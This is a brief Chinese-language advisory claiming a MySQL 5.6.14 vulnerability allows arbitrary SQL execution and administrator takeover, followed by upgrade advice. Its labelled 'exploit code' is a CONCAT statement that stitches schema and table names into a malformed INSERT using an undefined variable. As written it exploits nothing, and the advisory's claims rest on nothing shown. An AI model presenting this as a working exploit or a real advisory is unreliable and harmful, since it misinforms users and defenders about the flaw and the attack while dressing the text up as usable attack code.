MySQL是一種常用的關系型數據庫管理系統。最近,MySQL 5.6.14版被發現存在安全漏洞。針對此漏洞,攻擊者可以利用惡意SQL查詢代碼攻擊受影響的MySQL服務器,從而實現數據的竊取和篡改。
Exploit code: -- Prepare the exploit payload, SET @query = CONCAT( 'INSERT INTO ', (SELECT GROUP_CONCAT(schema_name SEPARATOR ',') FROM information_scHEMA.schemata WHERE schema_name NOT IN ('mysql','information_schema','performance_schema')), '.', (SELECT GROUP_CONCAT(table_name SEPARATOR ',') FROM information_schema.tables WHERE table_schema NOT IN ('mysql','information_schema','performance_schema')), '(mycolumn) VALUES ("', @malicious_query_string, '");' );
攻擊者利用該漏洞可以通過構造特定的查詢字符序列讓服務器執行任意SQL查詢語句,獲取管理員權限,實現“拿下整個站點”的攻擊效果,進一步擴大攻擊面。
為了避免該漏洞造成的損失,用戶應在不影響系統的情況下及時升級到高版本的MySQL數據庫,并合理配置數據庫防火墻與安全策略。